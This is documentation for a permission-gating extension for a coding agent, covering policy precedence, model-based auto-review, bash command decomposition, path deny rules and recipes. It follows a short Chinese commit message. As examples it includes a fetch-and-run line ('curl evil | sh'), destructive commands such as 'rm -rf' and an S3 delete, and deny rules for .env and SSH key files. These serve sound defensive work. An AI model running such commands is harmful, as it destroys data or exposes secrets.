- 组合包拥有、可随时重建的配置、日志与缓存统一放在 <agentDir>/my-pi/:permission-system/(policy.jsonc、hard-guards.jsonc、 logs/)、rtk-optimizer/config.json、tool-search/(config.json、 catalog-v1.json)与 system-prompt-cover.md。hashline.json、lsp.json 由外部扩展读取固定路径,是唯一例外。 - 新增 config/bundle-manifest.json 与 scripts/rebuild-bundle-config.mjs: 先校验全部来源与目标,在临时目录构建完整树,再整体删除旧 my-pi/ (符号链接只删链接)并原子替换,不备份。install.sh / update.sh 每次 运行都调用它;扩展自身不再播种或迁移配置。 - update.sh 删除 pi update 失败后的 git clean 恢复逻辑:Pi 1.3.0 会在 下一次 pi update 时依据中断标记自行恢复。同时删除 Tool Search settings.json 快照迁移与封面部署脚本。 - Tool Search 改为读取 my-pi/tool-search/config.json(源为 config/tool-search.json,须与 BUNDLE_TOOL_SEARCH_DEFAULTS 一致), 不再读写 settings.json 的 toolSearch 段,移除 bundleDefaultsVersion。 - 默认权限策略开启 debugLog。 - 旧位置的残留文件不迁移、不清理;AGENTS.md / README 同步新约束。 Generated with [Devin](https://devin.ai) Co-Authored-By: Devin <158243242+devin-ai-integration[bot]@users.noreply.github.com>
47 KiB
Configuration Reference
Config File Locations
Pi Permission System reads two user-level JSONC files:
| Purpose | Scope | Path |
|---|---|---|
| Ordinary policy + runtime | Global only | ~/.pi/agent/my-pi/permission-system/policy.jsonc |
| Hard guards | Global only | ~/.pi/agent/my-pi/permission-system/hard-guards.jsonc |
PI_CODING_AGENT_DIR replaces ~/.pi/agent when set. Project-level policy.jsonc files are not loaded. Project agent Markdown may still provide per-agent restrictions; it is not a second ordinary policy file.
Hard guards are evaluated first. Their matching deny decisions cannot be overridden by ordinary policy, session approvals, per-agent rules, or AutoReview.
Tool Search is the only extension that controls Pi's active tool list. Permission System never hides, activates, or replaces tools; it only evaluates a tool when Pi calls it.
Decision and Pattern Precedence
For ordinary policy, the decision flow is:
- matching Hard Guard
deny; - session approval, when one exists;
- per-agent restriction, when an agent is active;
- the global ordinary policy;
- built-in fallback
ask.
Within one pattern map, the most specific matching pattern wins even if "*" appears later. Specificity is compared in this order:
- exact match before wildcard match;
- more literal characters;
- fewer
*wildcards; - longer pattern;
- later declaration only when all earlier measures tie.
This makes a broad "*": "allow" a fallback rather than an ordering trick. For example, "**/.env": "deny" still wins for .env paths.
There is no separate external_directory decision. A path outside the current working directory is evaluated by the same configured tool, path, and Bash rules as any other path.
Full Example
{
"$schema": "./schemas/permissions.schema.json",
"authorizerChain": ["auto-review"],
"permission": {
"*": "allow",
"path": {
"**/.env": "deny",
"**/.env.*": "deny",
"~/.ssh/**": "deny",
"*": "allow"
},
"bash": {
"git status*": "allow",
"git diff*": "allow",
"*": "ask"
}
},
"autoReview": {
"enabled": true
}
}
Note: Trailing commas are not supported. If parsing fails, ordinary policy fails safely to
ask.
Built-in AutoReview
autoReview.enabled controls the built-in authorizer named auto-review. It only receives requests that ordinary policy resolved to ask; it cannot bypass a hard deny. Add "auto-review" to authorizerChain to make it the primary case-by-case authority. An allow verdict is final for that request, and so is a deny. defer continues to the next authorizer and ultimately the human permission dialog.
The reviewer is a conversational model, deciding through tool calls
AutoReview makes one independent model call per ask: a fixed review system prompt, a single user message containing the rendered transcript and a bounded JSON description of the planned action, and exactly two tools — approve and reject. The verdict is whichever of those tools the model calls, and the call must carry a non-empty reason. Everything else is a failure, not a verdict:
- a reply with no tool call at all — even one whose text happens to be valid JSON — counts as no verdict, because the verdict protocol is the tool call, not prose
- two or more tool calls, an unknown tool name, or a missing
reasoncount as an invalid response - a truncated response (
lengthstop reason) counts as truncated
None of those is retried: the same request produced them. Provider errors are retried while attempts and the timeout budget remain.
A rejection defers — it never denies
approve maps to allow. reject maps to defer, and the model's reason is shown in the human permission prompt, labelled as model-generated. Every failure — timeout, provider error, malformed reply, missing model — also maps to defer with a fixed system-authored note. A model refusal or a broken review therefore always costs a human glance, never a silent denial. Pressing Esc during a review aborts it and denies the operation outright, so no human dialog pops up after the user already said no.
An allow is cached for the rest of the current user message: the same action asked again under the same trusted conversation point skips the model call. A new user message invalidates the cache, and rejects are never cached.
Context budgets
The reviewer sees a bounded rendering of the session transcript: trusted user turns and structured user-interaction answers are kept preferentially, and the most recent untrusted entries fill the remaining budget under maxUntrustedEntries. Token counts are estimated conservatively — ASCII counts a quarter token per character, every non-ASCII codepoint a full token — because the length / 4 heuristic under-counts CJK by roughly 2–4x. When the companion pi-compaction extension is loaded, already-summarized tool results are substituted with their summaries when strictly shorter, so the budget buys more context.
| Key | Default | Ceiling for |
|---|---|---|
autoReview.transcript.messageTokens |
10000 |
message-kind transcript entries |
autoReview.transcript.toolTokens |
10000 |
tool-result transcript entries |
autoReview.transcript.maxUntrustedEntries |
40 |
untrusted entries retained |
Any single entry is additionally capped at a fixed 2000 estimated tokens for messages and 1000 for tool results, regardless of the budgets above.
Configuration
By default AutoReview follows the session's current model — the same model the operator is chatting with — so a mid-session model switch applies to the very next ask. Set autoReview.provider and autoReview.model together to pin a fixed reviewer; set neither to follow the session. Setting exactly one is a misconfiguration: the reviewer warns once at session_start and defers every ask.
{
"authorizerChain": ["auto-review"],
"autoReview": {
"enabled": true
}
}
| Key | Default | Description |
|---|---|---|
autoReview.enabled |
true |
Registers the auto-review authorizer. It decides nothing until named in authorizerChain. |
autoReview.provider |
— | Provider id of a pinned review model. Must be set together with autoReview.model; leave both unset to follow the session's current model. |
autoReview.model |
— | Model id of a pinned review model. Must be set together with autoReview.provider. |
autoReview.reasoning |
"low" |
Reasoning level for reasoning-capable review models. off disables it; non-reasoning models always receive no reasoning option. |
autoReview.timeoutMs |
30000 |
Total budget for one review call, across all attempts (max 300000). |
autoReview.maxAttempts |
2 |
Attempts including the first (1–5). A malformed or truncated response is not retried: the same request produced it. |
autoReview.maxOutputTokens |
4000 |
Output budget for a single review call (256–32000). |
autoReview.transcript.* |
see above | Transcript rendering budgets. |
annotators |
— | Deprecated and ignored. The annotator mechanism was removed. Still accepted so a deployed config keeps loading; remove it. |
When auto-review is named in authorizerChain and a pinned provider/model pair cannot be resolved, the extension notifies once at session_start that automatic review cannot run. Follow-the-session-model mode warns about nothing: absence of a session model is the session's business.
Each review outcome is written to the permission review log — the resolved model, the outcome, the model's reason or the failure category, attempts, usage, and transcript statistics. The extension keeps no aggregate history, runs no background analysis agent, and never edits either policy file.
Runtime Knobs
| Key | Default | Description |
|---|---|---|
debugLog |
false |
Enables verbose diagnostic logging to logs/pi-permission-system-debug.jsonl |
permissionReviewLog |
true |
Enables the permission request/denial review log at logs/pi-permission-system-permission-review.jsonl. Records bash command strings unredacted — see Log file sensitivity |
yoloMode |
false |
Auto-approves ask results instead of prompting when yolo mode is enabled |
doublePressToConfirm |
true |
Requires a confirming second press of a decision hotkey in the inline TUI dialog (see below). TUI sessions only; set to false for single-press. |
forwardingTimeoutMs |
600000 |
How long a subagent waits for the parent session to answer a forwarded permission request, in milliseconds. A child whose parent is not draining its inbox gives up in ~2 s regardless, whether that parent runs in this process or its own. |
promptMaxRows |
24 |
Max rows a permission prompt renders before eliding its evidence. The request's own facts are never elided by this budget; Ctrl+O expands the prompt to the complete request. |
promptFieldMaxWidth |
400 |
Max characters of any one field shown in a permission prompt. This is what bounds a single long field (a here-string command, say) that would otherwise fill the prompt through wrapping. |
reviewLogFieldMaxWidth |
1000 |
Max characters of any one value written to the review log. A longer value is stored shortened, marked with an ellipsis. Raise it to keep longer values; this is a length bound, not redaction. |
toolInputPreviewMaxLength |
— | Deprecated and ignored. Superseded by promptMaxRows / promptFieldMaxWidth. Still accepted so an existing config is not rejected, but the value no longer applies; setting it logs a warning. |
toolTextSummaryMaxLength |
— | Deprecated and ignored. Superseded by promptMaxRows / promptFieldMaxWidth. Still accepted so an existing config is not rejected, but the value no longer applies; setting it logs a warning. |
authorizerChain |
[] |
Ordered names of registered live-authority chain links to consult before the terminal authorizer (see Authorizer chain). |
Both logs write to ~/.pi/agent/my-pi/permission-system/logs/.
No debug output is printed to the terminal.
Inline permission dialog (TUI)
In an interactive TUI session, an ask decision opens an inline keybind dialog with one-key shortcuts:
| Key | Action |
|---|---|
y |
Approve once |
s |
Approve for this session |
n |
Deny |
r |
Deny with a reason (opens an inline editor; a reason is required) |
Arrow keys / j/k move the highlight, enter confirms the highlighted option, and esc denies.
With doublePressToConfirm enabled (the default), a letter hotkey arms its action and shows a Press y again to approve. hint; press the same key again to commit.
Set doublePressToConfirm to false to commit on the first press.
Pi's tool-expansion binding (app.tools.expand, Ctrl+O by default) stays live while the dialog is open.
It expands both the prompt itself — to the complete request, unbounded by promptMaxRows and promptFieldMaxWidth — and the host's pending tool call, so one keystroke shows you everything before you decide.
It only toggles the display — it never resolves, commits, or arms the pending decision.
While you are typing a denial reason it is not intercepted, so a rebound printable key still reaches the reason editor.
The reason editor is Pi's own line editor, so it behaves like the chat input: pasting works, as do cursor movement, word and line deletion, the kill ring, and undo.
The reason is a single line — a pasted line break becomes a space, and a long reason scrolls sideways rather than growing the dialog.
enter submits it, and esc (or Ctrl+C) returns to the decision list without denying.
What a prompt shows
The prompt renders one fact per line, with the requesting agent (and, for a forwarded subagent ask, its session), the tool, the gate surface, the matched rule, the decision-relevant value, and — for a wrapper such as xargs — the command that will actually run.
Those facts are always present: a budget may shorten a long one, never drop it.
A fact the line above already states is not repeated — a bash ask shows tool : bash without a second surface : bash line, and a path ask's path : line names the surface itself.
Everything else is evidence — the full command a gated sub-command came from, the working directory a path escaped, the tool-input preview — and it is what gives way when the render does not fit.
A shortened field or a dropped entry is marked with an ellipsis, and Ctrl+O shows the complete request.
Raise promptMaxRows to see more evidence inline; raise promptFieldMaxWidth to see more of a long command.
Non-TUI contexts render the same facts under the same budget, without the colour or the expansion.
Non-TUI contexts (RPC / frontend-driven sessions) keep the single-select prompt and are unaffected by doublePressToConfirm.
shellTools — gating aliased shell tools
The native bash tool goes through the full bash enforcement stack: command decomposition, wrapper flooring, path and external-directory token gates, and bash: rules.
Some extensions replace bash with a differently-named tool — for example @howaboua/pi-codex-conversion registers exec_command, which carries the shell command in a cmd argument and an optional working directory in workdir.
Without a hint, the permission system cannot tell that such a tool is really a shell, so it gates it as a generic extension tool and the bash rules never apply.
shellTools records that hint, and an aliased tool is then gated at full parity with native bash — command decomposition, wrapper flooring, path and external-directory token gates, and bash: rules — with the invoked tool name preserved in the review log.
If the extension registers a custom input formatter for the aliased tool, its preview is also carried as authorization evidence and persisted in the permission review context. This lets wrappers disclose execution context that is not part of the command itself, such as an SSH target, container, or remote working directory.
Each key is a tool name; its value maps the tool's input arguments (the keys of the tool call's arguments object):
{
"shellTools": {
"exec_command": { "commandArgument": "cmd", "workdirArgument": "workdir" },
"ssh_bash": { "commandArgument": "command", "decisionFloor": "ask" }
}
}
| Field | Required | Description |
|---|---|---|
commandArgument |
yes | The tool's input argument holding the shell command string (e.g. cmd). |
workdirArgument |
no | The tool's input argument holding the working directory (e.g. workdir). |
decisionFloor |
no | "ask" raises Bash allow to ask; existing ask/deny are preserved. |
Use decisionFloor: "ask" when the aliased shell crosses an extra trust boundary, such as SSH or container execution. With yolo mode disabled, every otherwise-allowed invocation then reaches the configured authorizer chain unless deterministic Bash or path policy already denies it. Only "ask" is accepted; the setting cannot weaken a hard deny.
When workdirArgument is set, the tool's working directory is the base used to resolve relative command paths. It is evaluated through configured Bash and path rules; there is no separate outside-directory decision.
shellTools comes from the single global policy. A configured decisionFloor: "ask" cannot be weakened by another policy scope.
shellTools only ever tightens enforcement and is inert when the named tool is not registered in the current session.
Opting a project out of a shell-aliasing extension is a package-disable concern, not a shellTools edit.
Authorizer chain — case-by-case decision links
The deterministic policy above decides allow / deny / ask for every request.
When a request lands on ask, the authorizer chain decides who answers it.
By default that is you (an interactive prompt), the subagent-forwarding path, or a headless deny.
A downstream extension can register a link — a reviewer that sees the ask and returns allow, deny (with an optional teaching reason), or defer to the next link — and the chain ends at the default terminal that always decides.
The canonical use case is a light model judge that reviews asks case by case (e.g. auto-denying an errant typo-path with a corrective reason).
authorizerChain is the ordered list of link names to consult, ahead of the terminal:
{
"authorizerChain": ["model-judge"]
}
Three invariants govern the chain:
- Config order wins, never registration order.
The order in
authorizerChain— not the order extensions happen to register in — fixes the security-relevant chain order. - A missing link is skipped fail-safe.
A name with no registered link is skipped with a logged warning; the
askstill reaches the terminal. Absence of a judge means more prompting, never less. - Registration alone grants no authority. Installing a judge extension gives it nothing; a link decides nothing until you name it here (opt-in activation).
A named authorizer may return a final allow or deny for any request that ordinary policy resolved to ask, including path. There is no additional surface-based delegation cap. defer advances to the next configured authorizer and ultimately the human terminal.
Extension authors register a link from permissions:ready via getPermissionsService().registerAuthorizer(name, authorize). For integration details, see Cross-Extension API.
Policy Reference
permission["*"] — Universal Fallback
The "*" key sets the action used when no surface-specific rule matches:
{
"permission": {
"*": "ask"
}
}
Omitting "*" defaults to "ask" (least privilege).
Tool Surfaces
Any registered tool name can be a surface key. A string value is a catch-all for that surface.
| Surface example | Description |
|---|---|
read, write, edit, grep, find, ls |
Canonical Pi built-in file tools |
bash |
Shell command execution |
mcp |
Registered MCP proxy tool |
task |
Delegation tool |
third_party_tool |
Any other registered extension tool |
{
"permission": {
"read": "allow",
"write": "deny",
"third_party_tool": "ask"
}
}
Unknown or absent tools are not required in the config. Pi and Tool Search own tool registration and activation; Permission System does not alter the active tool list.
Path Patterns for File Tools
For path-bearing tools (read, write, edit, find, grep, ls), an object value maps file-path patterns to actions.
Patterns are matched against input.path; the most specific matching pattern wins, using the precedence described at the top of this document.
When Pi's current working directory is known, a relative path input is matched with both its original relative form and its cwd-normalized absolute form, so an absolute allowlist rule and a legacy relative rule can both apply to the same file.
Per-tool path patterns also match the canonical (symlink-resolved) form, at parity with the path surface, so a per-tool deny on a sensitive spelling cannot be evaded through a symlink alias (see Symlinked paths below).
* matches zero or more of any character including path separators — src/* matches both src/foo.ts and src/deep/nested/foo.ts.
There is no single-segment vs. multi-segment distinction; ** is not a supported token and behaves identically to *.
{
"permission": {
"read": {
"*": "allow",
"*.env": "deny",
"*.env.*": "deny",
"*.env.example": "allow"
},
"write": {
"*": "deny",
"src/*": "allow",
"tests/*": "allow"
},
"edit": {
"*": "ask",
"*.lock": "deny"
}
}
}
String shorthand is still supported and behaves identically — "read": "allow" is equivalent to "read": { "*": "allow" }, which permits reads of any path.
Tool injection at agent start is unaffected: a config like "read": { "*": "allow", "*.env": "deny" } still exposes the read tool to the agent.
Only specific paths are restricted at call time.
bash Surface
Command patterns use wildcards matched against each top-level command in the chain:
*matches zero or more of any character (including/and other separators — there is no single-segment vs. multi-segment distinction;**is not a supported token and is equivalent to*).?matches exactly one character.
Last matching rule wins within a single command — put broad catch-alls first, specific overrides after.
A bash invocation may be a chain of commands joined by &&, ||, ;, |, &, or newlines.
Each top-level command is evaluated independently against the patterns, and the most restrictive result wins (deny > ask > allow).
So cd /repo && npm install x evaluates both cd /repo and npm install x; if npm * is denied, the whole invocation is denied even when cd * is allowed.
Quotes are respected (an operator inside '…' or "…" does not split the command).
Commands nested inside command substitution ($(…), backticks), process substitution (<(…)/>(…)), and subshells (( … )) are evaluated against the bash patterns too, in addition to their enclosing command — since those inner commands really execute.
So echo $(rm -rf foo) evaluates both echo $(rm -rf foo) and the inner rm -rf foo; if rm * is denied, the whole invocation is denied.
The deny reason and the approval prompt note the nested origin (e.g. inside command substitution).
This holds wherever the substitution appears, not only in argument position.
A substitution in a redirect target (echo hi > $(rm *.txt), cat < <(rm c), echo hi 2> `rm d` ) and one in an interpolating heredoc body (cat <<EOF with $(rm e) in the body) are evaluated the same way.
A quoted heredoc delimiter (<<'EOF' or <<"EOF") does not interpolate, so its body is literal text and nothing in it is evaluated as a command.
The enclosing command is still matched without its redirect, so a rule like npm install keeps matching npm install > out.txt.
Control-flow bodies (if/while/for/case) and { … } brace groups are not descended into; their contents are matched as part of the enclosing statement's text.
A leading environment-variable assignment prefix is stripped before matching, so the rule gates the underlying command rather than the prefix.
So AWS_PROFILE=prod aws ec2 … is matched as aws ec2 … — a aws * rule applies even though the invocation begins with AWS_PROFILE=.
Prefixes like PGPASSWORD= and KUBECONFIG= are handled the same way.
A pattern ending with * (space + wildcard) also matches the bare command without arguments.
For example, "git *" matches both "git status" and bare "git".
Place a more specific pattern after it to carve out exceptions — the later matching rule wins.
Patterns match individual commands, not whole chains. A pattern that embeds a chain operator (e.g.
"cd * && npm *") will not match, because each command in the chain is evaluated separately. Write one pattern per command instead.
{
"permission": {
"bash": {
"*": "ask",
"git *": "ask",
"git status": "allow",
"git diff": "allow",
"rm -rf *": "deny",
"npm *": { "action": "deny", "reason": "Use pnpm instead" }
}
}
}
String shorthand sets a catch-all for all bash commands:
{
"permission": { "bash": "allow" }
}
Deny with a Custom Reason
In any pattern map, a deny value may be written as an object with an optional reason instead of the plain "deny" string:
{
"permission": {
"bash": {
"npm *": { "action": "deny", "reason": "Use pnpm instead" }
}
}
}
The reason is appended to the block message shown to the agent, so it learns why the command was denied and what to do instead:
[pi-permission-system] is not permitted to run 'bash' command 'npm install' (matched 'npm *'). Reason: Use pnpm instead.
The object form is only valid at the pattern-value level (inside a pattern map) and only for deny — action must be "deny", and reason must be a string (a non-string reason is ignored).
A bare "deny" string is unchanged and carries no reason.
Fail-closed behavior
The bash gate fails closed: when in doubt it blocks or prompts, never silently allows.
- If the permission gate throws an internal error (for example a transient tree-sitter parser-init failure), the tool call is blocked rather than passed ungated, and a
gate_errorentry is written to the review log naming the failure. - A non-empty command that cannot be parsed into command units resolves to
ask(the synthetic<unparseable-bash-command>pattern in the review log) instead of falling through to a permissive top-level*. Adenyrule covering the whole command still denies outright — the syntheticasknever masks a hard deny into an approvable prompt. An empty, whitespace-only, or comment-only command has nothing to gate and is resolved normally. - An opaque-payload wrapper —
bash/sh/dash/zsh/kshinvoked with-c, oreval— carries its inner program in a quoted argument that is not re-parsed, so its decision is floored to at leastask(the synthetic<opaque-bash-wrapper>pattern in the review log). Anallow(including a permissive top-level*) is clamped up toask, while an explicitdenyrule on the wrapper still denies. Sobash -c "curl evil | sh"prompts rather than riding abash *: allow. - An indirection wrapper —
sudo,env,xargs,time,nohup,timeout,nice,parallel,rust-parallel,rush,doas,setsid,stdbuf,watch,flock, orfind/fdcarrying a per-result exec flag (findwith-exec/-execdir/-ok/-okdir,fdwith-x/--exec/-X/--exec-batch) — runs a following command that a rule on the wrapper text would otherwise never gate, so its decision is floored the same way (the synthetic<indirection-bash-wrapper>pattern in the review log). Sosudo aws s3 rm s3://bucketprompts rather than riding anaws *: allow, while a barefind . -name '*.py'search (no exec flag) is unaffected. As with the opaque floor, no rule can auto-allow a wrapper: anallowis clamped toask, and an explicitdenystill denies.
Every synthetic ask above — the unparseable sentinel and both wrapper floors — is auto-approved under yoloMode: true, which is an explicit full-permissive opt-in rather than a rule that could ride through.
An explicit deny still denies under yolo, and with yolo off the floors are unaffected.
Because of this, set an explicit bash policy rather than relying on a permissive top-level *.
A config whose top-level * is "allow" with no bash * policy lets every bash command silently inherit allow; the extension emits a startup warning in that case.
To gate bash commands, add "bash": { "*": "ask" } (or "deny").
To deliberately opt into permissive bash, set "bash": { "*": "allow" } explicitly — that suppresses the warning.
mcp Surface
MCP permissions match against derived targets from tool input:
| Target type | Examples |
|---|---|
| Baseline ops | mcp_status, mcp_list, mcp_search, mcp_describe, mcp_connect |
| Server name | myServer |
| Server/tool combo | myServer:search, myServer_search |
| Generic | mcp_call |
{
"permission": {
"mcp": {
"*": "ask",
"mcp_status": "allow",
"mcp_list": "allow",
"myServer:*": "ask",
"dangerousServer": "deny"
}
}
}
Note: Baseline discovery targets auto-allow when any explicit
mcp: allowrule exists.
String shorthand grants broad MCP access — useful for per-agent overrides:
# ~/.pi/agent/agents/researcher.md (respects PI_CODING_AGENT_DIR)
---
name: researcher
permission:
mcp: allow
---
skill Surface
Skill name patterns use * and ? wildcards (note: surface is skill, not skills):
{
"permission": {
"skill": {
"*": "ask",
"dangerous-*": "deny",
"librarian": "allow"
}
}
}
path Surface
Cross-cutting gate that applies to all file access — built-in Pi tools (read, write, edit, find, grep, ls), bash commands, MCP calls (via input.arguments.path), and extension tools (via input.path or a registered access extractor).
A path deny cannot be overridden by a per-tool allow.
Extension and MCP path tools are gated by default — no registration needed — so a path deny protects sensitive files from every path-aware tool, not just the built-in six.
{
"permission": {
"path": {
"*": "allow",
"*.env": "deny",
"*.env.*": "deny",
"*.env.example": "allow",
"~/.ssh/*": "deny"
}
}
}
The path gate runs before the external-directory and tool gates. If it denies, the command is blocked without reaching subsequent gates — no wasted prompts.
Path patterns match both the path as the agent references it and its canonical (symlink-resolved) form, so a deny on a sensitive spelling cannot be evaded through a symlink alias (see Symlinked paths below).
For bash commands, the extension extracts path-candidate tokens from the command (dot-files like .env, relative paths like src/foo.ts, and absolute paths) and evaluates each against the path rules.
The most restrictive result across all tokens determines the outcome.
When the current working directory is known, relative bash tokens are matched with cwd-normalized policy values, resolved against the effective directory after literal cd commands; a token after a non-literal cd (e.g. cd "$DIR") stays conservative and matches only its literal form.
A bare filename with no path shape at all (e.g. id_rsa in cat id_rsa) is also gated, provided it names a file that actually exists — so "id_rsa": "deny" or "*.pem": "deny" blocks the file whether it is referenced by a bare name, a relative path, or the read tool.
Because the resolved path is matched, this covers a bare symlink whose target a rule names: with ".some.secret": "deny", cat a_sym is denied when a_sym points at .some.secret.
A bare token that names nothing (e.g. status in git status, build in npm run build) is left alone, so ordinary subcommands and branch names never prompt.
An existing file that matches no path rule is likewise left alone — the catch-all "*" entry alone does not gate it.
A path embedded in a long option (e.g. --file=/tmp/patterns in grep --file=/tmp/patterns target) is extracted and gated like any other path token; an option value that is not path-shaped (e.g. --format=json) is ignored.
On Windows, where a backslash is a path separator, a backslash-relative bash argument (e.g. dir\file in cat dir\file) is gated by a path rule the same as its forward-slash equivalent (dir/file) and the same as the file accessed through the read tool.
On other platforms a backslash is a legal filename character, so such a token is not treated as a path.
Three orthogonal layers compose with most-restrictive-wins:
| Layer | Question | Applies to |
|---|---|---|
path |
Is this specific path pattern allowed? | All tools + bash |
| Per-tool patterns | Is this path ok for this specific tool? | Individual tools |
| Bash command rules | Is this command allowed? | Bash only |
A path allow cannot loosen a per-tool or Bash ask/deny; the most restrictive result remains effective.
Configs without a path key use the universal fallback (permission["*"]) for the path surface.
Pattern declaration order is not a broad override mechanism. { "*.env": "deny", "*": "allow" } still denies .env because *.env is more specific.
.env recipe
Deny all env files but allow the example template:
{
"permission": {
"path": {
"*": "allow",
"*.env": "deny",
"*.env.*": "deny",
"*.env.example": "allow"
}
}
}
This denies .env, .env.local, .env.production, and src/.env, but allows .env.example.
Bash commands like cat .env, cp .env .env.backup, and echo secret > .env (redirect targets) are all caught.
Composition with per-tool rules
A per-tool allow does not override a path deny — the path gate runs first.
Conversely, a per-tool deny still blocks even when the path surface allows:
{
"permission": {
"path": { "*": "allow" },
"read": "deny"
}
}
Here read calls pass the path gate but are blocked by the read tool gate.
Home Directory Expansion in Patterns
Pattern keys in any permission surface can start with ~/, $HOME/, or ${HOME}/ (or be exactly ~, $HOME, or ${HOME}).
They are expanded to the OS home directory at match time, so configs are portable across machines and users.
A prefix is recognized only when it stands alone or precedes a separator, so a longer name (~username, $HOMEDIR) and a braced expansion carrying an operator (${HOME:-/tmp}) are left alone.
{
"permission": {
"path": {
"~/development/*": "allow",
"*": "ask"
}
}
}
The pattern is stored and displayed as written (for example ~/development/*) in logs and approval dialogs.
Path values supplied by tool calls and bash commands are expanded the same way.
This means ~/..., $HOME/..., ${HOME}/..., and the fully-expanded absolute form all match a single home-anchored pattern: a read tool called with path ~/.ssh/config, $HOME/.ssh/config, ${HOME}/.ssh/config, or /Users/me/.ssh/config is all caught by a "~/.ssh/*": "deny" rule.
Per-Agent Overrides
Override global permissions for specific agents via YAML frontmatter in Pi agent definition files.
Global Agent Override
Path: ~/.pi/agent/agents/<agent>.md (respects PI_CODING_AGENT_DIR)
---
name: my-agent
permission:
read: allow
write: deny
mcp: allow
bash:
git *: ask
git status: allow
mcp:
chrome_devtools_*: deny
exa_*: allow
skill:
"*": ask
---
Project Agent Override
Path: <cwd>/.pi/agents/<agent>.md
Project agent files are resolved from Pi's current session cwd, so they are workspace-specific and do not move under PI_CODING_AGENT_DIR.
Frontmatter Limitations
The frontmatter parser is intentionally minimal.
Use only key: value scalars and nested maps.
Avoid arrays, multi-line scalars, and YAML anchors.
Common Recipes
Protect Sensitive Files
{
"permission": {
"*": "ask",
"read": {
"*": "allow",
"*.env": "deny",
"*.env.*": "deny",
"*.env.example": "allow"
},
"write": {
"*": "ask",
"*.lock": "deny"
}
}
}
Read-Only Mode
{
"permission": {
"*": "ask",
"read": "allow",
"grep": "allow",
"find": "allow",
"ls": "allow",
"write": "deny",
"edit": "deny"
}
}
Restricted Bash Surface
{
"permission": {
"*": "ask",
"bash": {
"*": "deny",
"git status": "allow",
"git diff": "allow",
"git log *": "allow"
}
}
}
Read-Only Bash Command Allowlist
The Read-Only Mode recipe above gates tools; this one gates the bash surface.
It allows a curated set of commands whose only effect is to read or report — none can create or modify a file, register, or system state by itself — while every other command falls through to ask.
{
"permission": {
"*": "ask",
"write": "deny",
"edit": "deny",
"path": {
"*": "allow",
"*.env": "deny",
"*.env.*": "deny",
"~/.ssh/*": "deny"
},
"bash": {
"*": "ask",
// File inspection
"cat *": "allow",
"head *": "allow",
"tail *": "allow",
"less *": "allow",
"more *": "allow",
// Listing and metadata
"ls *": "allow",
"tree *": "allow",
"stat *": "allow",
"file *": "allow",
"wc *": "allow",
"du *": "allow",
"df *": "allow",
// Search (find/fd with -exec are auto-floored to ask)
"grep *": "allow",
"egrep *": "allow",
"fgrep *": "allow",
"rg *": "allow",
"find *": "allow",
"fd *": "allow",
// Comparison and hashing
"diff *": "allow",
"cmp *": "allow",
"comm *": "allow",
"md5sum *": "allow",
"sha1sum *": "allow",
"sha256sum *": "allow",
"cksum *": "allow",
// System info
"pwd": "allow",
"whoami": "allow",
"id": "allow",
"hostname": "allow",
"uname *": "allow",
"date": "allow",
"uptime": "allow",
"ps *": "allow",
"printenv *": "allow",
"which *": "allow",
"type *": "allow",
// Git read-only subcommands (never a broad "git *")
"git status": "allow",
"git diff *": "allow",
"git log *": "allow",
"git show *": "allow",
"git blame *": "allow",
"git ls-files *": "allow",
"git branch": "allow",
"git remote -v": "allow"
}
}
}
Four existing behaviors keep this allowlist safe — you do not have to enumerate the destructive commands to block them:
- Redirects are gated by the
pathsurface, notbash. Allowingcat *allows thecatcommand, not a redirect it carries:cat secret > out.txtwritesout.txtthrough thepathgate. That is why this recipe ships withwriteandeditdenied and apathdeny block for sensitive files. Keep thepathsurface locked down for anything you would not want an allowed read command to overwrite via>. find/fdwith an exec flag are floored toask. A barefind *search is read-only, so it is safe to allow; the moment an exec flag appears (find -exec/-execdir/-ok/-okdir,fd -x/-X), the indirection-wrapper floor clamps the decision back toask. Sofind . -type f -exec rm {} +still prompts even underfind *: allow.- Chained commands resolve most-restrictive.
find . -name '*.log' && rm -f found.logdecomposes intofind …andrm …;rmmatches only"*": "ask", and the most restrictive result governs the whole invocation, so the chain prompts. - Wrappers cannot ride the allowlist.
sudo grep …,env X=1 cat …,sh -c "…", andeval "…"are floored toask(the wrapper floors), so an allowed command cannot be smuggled past through a wrapper.
git is enumerated by read subcommand rather than a broad git *, because git has mutating subcommands (commit, push, branch -D, remote add, config <key> <value>).
Exact patterns like git status and git branch match only their literal form, so git branch -D feature falls through to "*": "ask".
The *-suffixed git patterns (git diff *, git log *) are safe because those subcommands are read-only regardless of their arguments.
Commands that can originate a write are deliberately omitted: echo and printf are the usual content source for a > redirect, tee writes its input to a file, and sort -o, sed -i, and in-place awk redirects modify files directly.
Add them only if you understand that pairing them with write: deny and a strict path surface is what keeps them from writing.
MCP Discovery Only
{
"permission": {
"*": "ask",
"mcp": {
"*": "ask",
"mcp_status": "allow",
"mcp_list": "allow",
"mcp_search": "allow",
"mcp_describe": "allow"
}
}
}
Per-Agent Lockdown
In the global Pi agents directory (default: ~/.pi/agent/agents/reviewer.md, respects PI_CODING_AGENT_DIR):
---
permission:
write: deny
edit: deny
bash: deny
---
Pi Integration Hooks
The extension integrates via Pi's lifecycle hooks:
| Hook | Behavior |
|---|---|
before_agent_start |
Filters the active tool set (restrict-only), narrows the Available tools: system-prompt listing to match, and hides denied skills |
tool_call |
Enforces permissions for every tool invocation |
input |
Intercepts /skill:<name> requests and enforces skill policy |
Additional behaviors:
- Unknown/unregistered tools are blocked before permission checks (prevents bypass attempts)
- Tool filtering is restrict-only: the active set starts from pi's already-active tools (
pi.getActiveTools()) and only ever has denied tools removed — the permission system never activates a tool pi left off by default (e.g.find,grep,ls) - The
Available tools:system prompt section is narrowed to match the filtered active tool set: denied tools' lines are dropped, the rest are kept, and the section is removed entirely only when no tool is allowed - The narrowed prompt is recomputed and returned on every turn but is byte-stable for a stable policy/agent, so the provider's prompt cache (tools + system prefix) is preserved rather than rewritten each turn
- Extension-provided tools like
task,mcp, and third-party tools are handled by exact registered name - Generic extension-tool approval prompts include a bounded input preview; built-in file tools use concise human-readable summaries
- Permission review logs include
toolInputPreviewvalues for non-bash/non-MCP tool calls, with sensitive-keyed values masked and every value bounded byreviewLogFieldMaxWidth(see Log file sensitivity)
Log file sensitivity
The review log is enabled by default and records what the agent actually did, which means it records payload as well as decisions: the bash command string for every bash decision, and a JSON preview of the tool input for other tools.
The debug log carries the same payload when debugLog is on.
Three protections apply.
Both logs are created owner-only (0600, in a 0700 directory), and a log created by an earlier version is tightened on the next write.
The permission-forwarding request and response files are written the same way.
This closes the shared-host case: another user on the same machine cannot read them.
